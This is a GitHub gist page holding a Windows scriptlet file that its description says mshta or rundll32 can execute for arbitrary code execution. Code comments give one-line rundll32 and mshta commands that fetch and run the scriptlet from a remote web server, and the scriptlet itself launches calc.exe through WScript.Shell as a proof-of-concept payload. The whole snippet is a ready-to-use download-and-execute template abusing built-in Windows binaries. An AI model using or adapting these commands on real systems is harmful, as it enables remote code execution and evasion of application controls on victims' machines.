Skip to content

Instantly share code, notes, and snippets.

@ahhh
Forked from Arno0x/scriptlet.sct
Created December 26, 2017 17:10
Show Gist options
  • Save ahhh/4688c829556ea99bf6895da6f15e0772 to your computer and use it in GitHub Desktop.
Save ahhh/4688c829556ea99bf6895da6f15e0772 to your computer and use it in GitHub Desktop.
Scriplet that can be executed by mshta or rundll32 for arbitrary code execution
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment